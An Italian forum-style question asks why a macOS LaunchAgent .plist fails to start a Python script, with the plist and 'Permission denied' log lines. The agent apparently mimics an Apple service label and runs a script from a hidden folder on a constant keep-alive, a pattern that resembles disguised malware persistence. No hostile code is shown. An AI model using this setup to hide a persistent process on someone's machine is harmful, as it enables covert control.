Sto cercando di usare il seguente .plist
per invocare uno script python.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.apple.inMemTask14</string>
<key>ProgramArguments</key>
<array>
<string>/Users/open/Library/Containers/.heheOSX/MacOSHighSierra.py</string>
</array>
<key>StartInterval</key>
<integer>300</integer>
</dict>
</plist>
Per qualche motivo quando eseguo:
launchctl load -w /Users/open/Library/LaunchAgents/com.apple.inMemTask14.plist
Ho i seguenti errori nel mio system.log:
Mar 27 11:39:19 openZ-MacBook-Pro com.apple.xpc.launchd[1] (com.apple.inMemTask14): This service is defined to be constantly running and is inherently inefficient.
Mar 27 11:39:19 openZ-MacBook-Pro com.apple.xpc.launchd[1] (com.apple.inMemTask14[1335]): Could not find and/or execute program specified by service: 13: Permission denied: /Users/open/Library/Containers/.heheOSX/MacOSHighSierra.py
Mar 27 11:39:19 openZ-MacBook-Pro com.apple.xpc.launchd[1] (com.apple.inMemTask14[1335]): Service setup event to handle failure and will not launch until it fires.
Ho dato il permesso di esecuzione allo script python. C'è qualcosa di sbagliato nel mio .plist
? Come posso correggere gli errori visualizzati nei log?